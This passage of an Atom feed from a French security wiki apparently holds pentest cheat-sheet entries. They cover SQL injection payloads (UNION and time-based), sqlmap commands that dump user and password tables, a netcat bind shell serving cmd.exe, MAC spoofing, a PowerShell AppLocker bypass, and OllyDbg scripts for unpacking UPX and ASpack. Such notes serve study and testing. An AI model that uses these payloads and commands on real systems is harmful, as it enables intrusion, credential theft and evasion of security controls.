&lt;br /&gt;
Recherche de la longueur du pass:&lt;br /&gt;
  &#039;UNION SELECT username,password FROM users WHERE username=&#039;admin&#039; AND LENGTH(password) &amp;gt; 4 --&lt;br /&gt;
&lt;br /&gt;
== Time based injection ==&lt;br /&gt;
&lt;br /&gt;
Mysql&lt;br /&gt;
  admin&#039; and sleep(30)#&lt;br /&gt;
&lt;br /&gt;
Microsoft SQL&lt;br /&gt;
  admin&#039; waitfor delay &#039;00:00:10&#039;--&lt;br /&gt;
&lt;br /&gt;
Oracle&lt;br /&gt;
  BEGIN DBMS_LOCK.SLEEP(15); END;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Outils_divers&amp;diff=2561</id>
		<title>Outils divers</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Outils_divers&amp;diff=2561"/>
		<updated>2016-09-07T09:41:18Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Stunnel ==&lt;br /&gt;
Créer un tunnel SSL&lt;br /&gt;
  #stunnel -c -d 127.0.0.1:9999 -r foo:9998&lt;br /&gt;
Sur l&#039;hôte disant:&lt;br /&gt;
  #stunnel -d 9998 -r 127.0.0.1:9999&lt;br /&gt;
&lt;br /&gt;
== SQLMap ==&lt;br /&gt;
  &lt;br /&gt;
Récupérer le nom de la base (-v 5 pour plus de verbosité)&lt;br /&gt;
  # sqlmap -u &#039;http://172.16.188.134/test.php?id=1&#039; --dbs -v 5&lt;br /&gt;
Afficher les tables&lt;br /&gt;
  # sqlmap -u &#039;http://172.16.188.134/test.php?id=1&#039; -v 5 -D credo --tables&lt;br /&gt;
Afficher les colonnes de la table members&lt;br /&gt;
  # sqlmap -u &#039;http://172.16.188.134/test.php?id=1&#039; -D credo -T members --columns&lt;br /&gt;
Dump de la base&lt;br /&gt;
  # sqlmap -u &#039;http://172.16.188.134/test.php?id=1&#039; -D credo -T members --dump&lt;br /&gt;
&lt;br /&gt;
  # python sqlmap.py -u http://www.test.com/pages.php?num=1 -f -b --current-user --current-db --users --passwords -dbs -v 0&lt;br /&gt;
&lt;br /&gt;
  # ./sqlmap.py -u http://www.test.com/pages.php/index.php --string=&amp;quot;This user exists&amp;quot; --technique=B --auth-type=Basic --auth-cred=toto:hash --data &amp;quot;username=georges&amp;quot; -D DatabaseName -T TableName -C username,password --dump --level=5 --risk=3&lt;br /&gt;
&lt;br /&gt;
Options utilisées&lt;br /&gt;
&lt;br /&gt;
-u : adresse de la cible&lt;br /&gt;
-f : prise d’empreinte du SGBD&lt;br /&gt;
-b : bannière du SGBD&lt;br /&gt;
–current-user : session utilisateur&lt;br /&gt;
–current-db : Base&lt;br /&gt;
–users : énumération des utilisateurs dans la Base&lt;br /&gt;
–passwords : énumération des mots de passe dans la Base&lt;br /&gt;
–dbs : listing des différentes bases disponibles&lt;br /&gt;
-v : verbosité (0, warning, etc.)&lt;br /&gt;
&lt;br /&gt;
== Netcat/Cryptcat ==&lt;br /&gt;
&lt;br /&gt;
*Cryptcat est un clone de Netcat cryptant toutes ces communications&lt;br /&gt;
&lt;br /&gt;
Scanner des ports&lt;br /&gt;
  nc -v -w 2-z foo 1-1224&lt;br /&gt;
&lt;br /&gt;
Se connecter sur un port&lt;br /&gt;
  nc -v -n 192.168.1.1 21&lt;br /&gt;
&lt;br /&gt;
Mettre netcat en écoute (serveur)&lt;br /&gt;
  nc -L p 10001 -d -e cmd.exe (-L en écoute, -p port, -d détacher le process -e commande à lancer à la connection)&lt;br /&gt;
&lt;br /&gt;
Envoyer un fichier&lt;br /&gt;
  nc 192.168.1.1 1234 &amp;lt; file.txt&lt;br /&gt;
&lt;br /&gt;
== MacChanger ==&lt;br /&gt;
&lt;br /&gt;
Changer la mac adress de la carte réseau&lt;br /&gt;
  #macchanger -m 12:34:56:78:90:12 eth0&lt;br /&gt;
&lt;br /&gt;
== Identification de fichiers ==&lt;br /&gt;
La commande file analyse l&#039;entête du fichier et révélera sa nature&amp;lt;br&amp;gt;&lt;br /&gt;
strings permet de trouver des chaînes ASCII&amp;lt;br&amp;gt;&lt;br /&gt;
xdd permet de retrouver des mots et leur endroits.&amp;lt;br&amp;gt;&lt;br /&gt;
hachoir-subfile examine tous le fichier à la recherche d&#039;entête connus. Pratique en cas de concaténation de fichiers.&amp;lt;br&amp;gt;&lt;br /&gt;
Si c&#039;est un fichier binaire, le déboguer avec gdb.&amp;lt;br&amp;gt;&lt;br /&gt;
Le désassembler avec objdump ou IDA.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Applocker Bypass ==&lt;br /&gt;
&lt;br /&gt;
Powershell&lt;br /&gt;
&lt;br /&gt;
  [System.Reflection.Assembly]::LoadFrom(&amp;quot;C:\BinaireDotNet.exe&amp;quot;).entrypoint.invoke($null, $null)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Ollydbg&amp;diff=2560</id>
		<title>Ollydbg</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Ollydbg&amp;diff=2560"/>
		<updated>2016-09-02T12:10:51Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* OllyScript Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== OllyScript ==&lt;br /&gt;
&lt;br /&gt;
== OllyScript Example ==&lt;br /&gt;
&lt;br /&gt;
UPX&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var hwdBP                   // Local variable to store hardware breakpoint&lt;br /&gt;
var softBP                  // Local variable to strore software breakpoint&lt;br /&gt;
&lt;br /&gt;
sti                         // Step into F7 command&lt;br /&gt;
findop eip, #61#            // find next POPAD&lt;br /&gt;
mov hwdBP, $RESULT          // Store $RESULT to hardware breakpoint local variable&lt;br /&gt;
bphws hwdBP, &amp;quot;x&amp;quot;            // Set hardware breakpoint (execute) on the next POPAD&lt;br /&gt;
run // Run F9 command&lt;br /&gt;
findop eip, #E9????????#    // Find the next JMP&lt;br /&gt;
mov softBP, $RESULT         // Store $RESULT to software breakpoint local variable&lt;br /&gt;
bp softBP&lt;br /&gt;
run                         // Run to JMP instruction&lt;br /&gt;
sti                         // Step into the OEP&lt;br /&gt;
&lt;br /&gt;
cmt eip, &amp;quot;&amp;lt;-- OEP&amp;quot;&lt;br /&gt;
msg &amp;quot;OEP found&amp;quot;&lt;br /&gt;
ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ASpack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var hwBP                    // Local variable for hardware breakpoint&lt;br /&gt;
&lt;br /&gt;
mov hwBP, esp               // Using esp trick&lt;br /&gt;
bphws hwBP, &amp;quot;r&amp;quot;             // Set hardware breakpoint on read&lt;br /&gt;
run                         // Run&lt;br /&gt;
rtr                         // Execute till return&lt;br /&gt;
sto                         // F8&lt;br /&gt;
&lt;br /&gt;
msg &amp;quot;OEP found&amp;quot;&lt;br /&gt;
cmt eip, &amp;quot;&amp;lt;-- OEP&amp;quot;&lt;br /&gt;
ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Ollydbg&amp;diff=2559</id>
		<title>Ollydbg</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Ollydbg&amp;diff=2559"/>
		<updated>2016-09-02T10:08:11Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « == OllyScript ==  == OllyScript Example ==  UPX  &amp;lt;pre&amp;gt; var hwdBP // Local variable to store hardware breakpoint var softBP // Local variable to strore software breakpoint ... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== OllyScript ==&lt;br /&gt;
&lt;br /&gt;
== OllyScript Example ==&lt;br /&gt;
&lt;br /&gt;
UPX&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var hwdBP // Local variable to store hardware breakpoint&lt;br /&gt;
var softBP // Local variable to strore software breakpoint&lt;br /&gt;
&lt;br /&gt;
sti // Step into F7 command&lt;br /&gt;
findop eip, #61# // find next POPAD&lt;br /&gt;
mov hwdBP, $RESULT // Store $RESULT to hardware breakpoint local variable&lt;br /&gt;
bphws hwdBP, &amp;quot;x&amp;quot; // Set hardware breakpoint (execute) on the next POPAD&lt;br /&gt;
run // Run F9 command&lt;br /&gt;
findop eip, #E9????????# // Find the next JMP&lt;br /&gt;
mov softBP, $RESULT // Store $RESULT to software breakpoint local variable&lt;br /&gt;
bp softBP&lt;br /&gt;
run // Run to JMP instruction&lt;br /&gt;
sti // Step into the OEP&lt;br /&gt;
&lt;br /&gt;
cmt eip, &amp;quot;&amp;lt;-- OEP&amp;quot;&lt;br /&gt;
msg &amp;quot;OEP found&amp;quot;&lt;br /&gt;
ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ASpack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var hwBP // Local variable for hardware breakpoint&lt;br /&gt;
&lt;br /&gt;
mov hwBP, esp // Using esp trick&lt;br /&gt;
bphws hwBP, &amp;quot;r&amp;quot; // Set hardware breakpoint on read&lt;br /&gt;
run // Run&lt;br /&gt;
rtr // Execute till return&lt;br /&gt;
sto // F8&lt;br /&gt;
&lt;br /&gt;
msg &amp;quot;OEP found&amp;quot;&lt;br /&gt;
cmt eip, &amp;quot;&amp;lt;-- OEP&amp;quot;&lt;br /&gt;
ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
</feed>